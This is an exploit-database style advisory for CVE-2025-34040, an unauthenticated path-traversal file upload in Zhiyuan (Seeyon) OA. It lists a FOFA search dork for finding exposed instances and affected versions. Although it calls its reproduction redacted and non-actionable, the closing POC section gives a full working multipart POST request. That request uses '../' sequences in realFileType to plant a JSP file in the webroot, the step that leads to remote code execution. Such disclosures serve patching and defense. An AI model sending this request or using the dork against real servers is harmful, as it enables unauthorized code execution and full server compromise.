Zhiyuan OA – arbitrary file upload leading

# Exploit Title: Zhiyuan OA  - arbitrary file upload leading 
# Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2"
# Date: 1-11-2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://service.seeyon.com/
# Software Link: [vendor download / product page if available]
# Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck)
# Tested on: MacOS
# CVE: CVE-2025-34040

Description:
A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution.

High-level reproduction template (redacted — non-actionable):
POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) — DO NOT include such server-side code here.

Impact:
- Remote code execution if the uploaded file is accessible and executable.
- Complete server compromise and pivoting to internal networks.
- Data exfiltration, persistence, and further lateral movement.

References:
- NVD CVE-2025-34040 (NVD entry – awaiting enrichment)
- VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
- CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627
- Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html

POC;
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=......
Accept-Encoding: gzip

--......
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel

<% out.println("HelloWorld");%>
--.......--